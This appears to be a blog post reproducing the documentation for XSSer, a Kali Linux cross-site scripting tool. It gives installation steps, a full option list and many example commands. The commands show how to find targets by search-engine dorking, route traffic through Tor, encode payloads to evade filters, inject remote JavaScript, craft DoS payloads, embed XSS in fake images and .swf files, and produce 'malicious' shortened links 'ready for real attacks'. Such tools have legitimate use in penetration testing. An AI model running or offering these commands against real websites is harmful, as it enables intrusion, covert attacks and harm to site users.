srijeda, 19. studenoga 2014.

Kali Linux : XSSER

Installation

XSSer runs on many platforms. It requires Python and the following libraries:

- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library

On Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip

Usage

xsser [OPTIONS] [-u |-i |-d ] [-g |-p |-c ] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]

Options:
--versionshow program's version number and exit
-h, --helpshow this help message and exit
-s, --statisticsshow advanced statistics output results
-v, --verboseactive verbose mode output results
--gtklaunch XSSer GTK Interface (Wizard included!)

*Special Features*:
You can choose Vector(s) and Bypasser(s) to inject code with this extra special features:

--imx=IMXcreate a false image with XSS code embedded
--fla=FLASHcreate a false .swf file with XSS code embedded

*Select Target(s)*:
At least one of these options has to be specified to set the source to get target(s) urls from.
You need to choose to run XSSer:

-u URL, --url=URLEnter target(s) to audit
-i READFILERead target URLs from a file
-d DORKProcess search engine dork results as target urls
--De=DORK_ENGINESearch engine to use for dorking (bing, altavista,
yahoo, baidu, yandex, youdao, webcrawler, google, etc.
See dork.py file to check for available engines)

*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use like payload to inject code.

-g GETDATAEnter payload to audit using GET. (ex: '/menu.php?q=')
-p POSTDATAEnter payload to audit using POST. (ex: 'foo=1&bar=')
-c CRAWLINGNumber of urls to crawl on target(s): 1-99999
--Cw=CRAWLING_WIDTHDeeping level of crawler: 1-5
--ClCrawl only local target(s) urls (default TRUE)

*Configure Request(s)*:
These options can be used to specify how to connect to target(s) payload(s).
You can choose multiple:

--cookie=COOKIEChange your HTTP Cookie header
--drop-cookieIgnore Set-Cookie header from response
--user-agent=AGENTChange your HTTP User-Agent header (default SPOOFED)
--referer=REFERERUse another HTTP Referer header (default NONE)
--xforwSet your HTTP X-Forwarded-For with random IP values
--xclientSet your HTTP X-Client-IP with random IP values
--headers=HEADERSExtra HTTP headers newline separated
--auth-type=ATYPEHTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACREDHTTP Authentication credentials (name:password)
--proxy=PROXYUse proxy server (tor: http://localhost:8118)
--ignore-proxyIgnore system default HTTP proxy
--timeout=TIMEOUTSelect your timeout (default 30)
--retries=RETRIESRetries when the connection timeouts (default 1)
--threads=THREADSMaximum number of concurrent HTTP requests (default 5)
--delay=DELAYDelay in seconds between each HTTP request (default 0)
--tcp-nodelayUse the TCP_NODELAY option
--follow-redirectsXSSer will follow server redirection responses (302)
--follow-limit=FLISet how many times XSSer will follow redirections (default 50)

*Checker Systems*:
This options are usefull to know if your target(s) have some filters against XSS attacks,
to reduce 'false positive' results and to perform more advanced tests:

--no-headNOT verify the stability of the url (codes: 200|302) with a HEAD pre-check request
--alive=ISALIVEset limit of every how much errors XSSer must to verify that target is alive
--hashsend an unique hash, without vectors, to pre-check if target(s) repeats all content recieved
--heuristiclaunch a heuristic testing to discover which parameters are filtered on target(s) code: ;\/<>"'=
--checkaturl=ALTcheck for a valid XSS response from target(s) at an alternative url. 'blind XSS'
--checkmethod=ALTMcheck responses from target(s) using a different connection type: GET or POST (default: GET)
--checkatdata=ALDcheck responses from target(s) using an alternative payload (default: same than first injection)
--reverse-checkestablish a reverse connection from target(s) to XSSer to certificate that is 100% vulnerable

*Select Vector(s)*:
These options can be used to specify a XSS vector source code to inject in each payload.
Important, if you don't want to try to inject a common XSS vector, used by default.
Choose only one option:

--payload=SCRIPTOWN - Insert your XSS construction -manually-
--autoAUTO - Insert XSSer 'reported' vectors from file (HTML5 vectors included!)

*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to bypass all possible anti-XSS filters
on target(s) code and some IPS rules, if the target use it. Also, can be combined with other techniques to provide encoding:

--StrUse method String.FromCharCode()
--UneUse function Unescape()
--MixMix String.FromCharCode() and Unescape()
--DecUse Decimal encoding
--HexUse Hexadecimal encoding
--HesUse Hexadecimal encoding, with semicolons
--DwoEncode vectors IP addresses in DWORD
--DooEncode vectors IP addresses in Octal
--CemTry -manually- different Character Encoding mutations
(reverse obfuscation: good) -> (ex:'Mix,Une,Str,Hex')

*Special Technique(s)*:
These options can be used to try to inject code using different type of XSS techniques. You can choose multiple:

--CooCOO - Cross Site Scripting Cookie injection
--XsaXSA - Cross Site Agent Scripting
--XsrXSR - Cross Site Referer Scripting
--DcpDCP - Data Control Protocol injections
--DomDOM - Use Anchor Stealth (DOM shadows!)
--IndIND - HTTP Response Splitting Induced code
--AnchorANC - Use Anchor Stealth payloader (DOM shadows!)
--PhpidsPHP - Exploit PHPIDS bug (0.6.5) to bypass filters

*Select Final injection(s)*:
These options can be used to specify the final code to inject in vulnerable target(s). Important, if you want to exploit
on-the-wild your discovered vulnerabilities. Choose only one option:

--Fp=FINALPAYLOADOWN - Insert your final code to inject -manually-
--Fr=FINALREMOTEREMOTE - Insert your final code to inject -remotelly-
--DossDOSs - XSS Denial of service (server) injection
--DosDOS - XSS Denial of service (client) injection
--B64B64 - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in vulnerable target(s). 
You can select multiple and combine with your final code (except with DCP code):

--OnmONM - Use onMouseMove() event to inject code
--IfrIFR - Use "iframe" source tag to inject code

*Miscellaneous*:

--silentinhibit console output results
--updatecheck for XSSer latest stable version
--saveoutput all results directly to template (XSSlist.dat)
--xml=FILEXMLoutput 'positives' to aXML file (--xml filename.xml)
--short=SHORTURLSdisplay -final code- shortered (tinyurl, is.gd)
--launchlaunch a browser at the end with each XSS discovered
--tweetpublish each XSS discovered into the 'Grey Swarm!'
--tweet-tags=TTadd more tags to your XSS discovered publications (default: #xss) - (ex: #xsser #vulnerability)

Examples

If you have interesting examples of usage about XSSer, please send an email to the mailing list.
-------------------
* Simple injection from URL:

$ python xsser.py -u "http://host.com"
-------------------
* Simple injection from File, with tor proxy and spoofing HTTP Referer headers:

$ python xsser.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* Multiple injections from URL, with automatic payloading, using tor proxy, injecting on payloads character encoding in "Hexadecimal", with verbose output and saving results to file (XSSlist.dat):

$ python xsser.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* Multiple injections from URL, with automatic payloading, using caracter encoding mutations (first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding), with HTTP User-Agent spoofed, changing timeout to "20" and using multithreads (5 threads):

$ python xsser.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* Advance injection from File, payloading your -own- payload and using Unescape() character encoding to bypass filters:

$ python xsser.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
* Injection from Dork selecting "duck" engine (XSSer Storm!):

$ python xsser.py --De "duck" -d "search.php?"
-------------------
* Injection from Crawler with deep 3 and 4 pages to see (XSSer Spider!):

$ python xsser.py -c3 --Cw=4 -u "http://host.com"
-------------------
* Simple injection from URL, using POST, with statistics results:

$ python xsser.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* Multiple injections from URL to a parameter sending with GET, using automatic payloading, with IP Octal payloading ofuscation and printering results in a "tinyurl" shortered link (ready for share!):

$ python xsser.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl 
-------------------
* Simple injection from URL, using GET, injecting a vector in Cookie parameter, trying to use a DOM shadow space (no server logging!) and if exists any "hole", applying your manual final payload "malicious" code (ready for real attacks!):

$ python xsser.py -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
-------------------
* Simple injection from URL, using GET and trying to generate with results a "malicious" shortered link (is.gd) with a valid DoS (Denegation Of Service) browser client payload:

$ python xsser.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* Multiple injections to multiple places, extracting targets from a list in a FILE, applying automatic payloading, changing timeout to "20" and using multithreads (5 threads), increasing delay between petitions to 10 seconds, injecting parameters in HTTP USer-Agent, HTTP Referer and in Cookie parameters, using proxy Tor, with IP Octal ofuscation, with statistics results, in verbose mode and creating shortered links (tinyurl) of any valid injecting payloads found. (real playing mode!):

$ python xsser.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* Injection of user XSS vector directly in a malicious -fake- image created "on the wild", and ready to be uploaded.

$ python xsser.py --Imx "test.png" --payload "!enter your malicious injection code here!" 
-------------------
* Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file.

$ python xsser.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml" 
-------------------
* Publish output 'positives' injections of a dorking search (using "duck" dorker) directly to http://identi.ca
(federated XSS pentesting botnet)

$ python xsser.py -d "login.php" --De "duck" --tweet

* Examples online:

http://identi.ca/xsserbot01
http://twitter.com/xsserbot01
-------------------
* Create a .swf movie with XSS code injected

$ python xsser.py --fla "name_of_file"
-------------------
* Send a pre-checking hash to see if target will generate -false positive- results

$ python xsser.py -u "host.com" --hash
-------------------
* Multiple fuzzing injections from url, including DCP injections and exploiting our "own" code, spoofed in a shortered link, on positive results founded. XSS real-time exploiting.

$ python xsser.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Exploiting Base64 code encoding in META tag (rfc2397) in a manual payload of a vulnerable target.

$ python xsser.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly

$ python xsser.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

Nema komentara:

Objavi komentar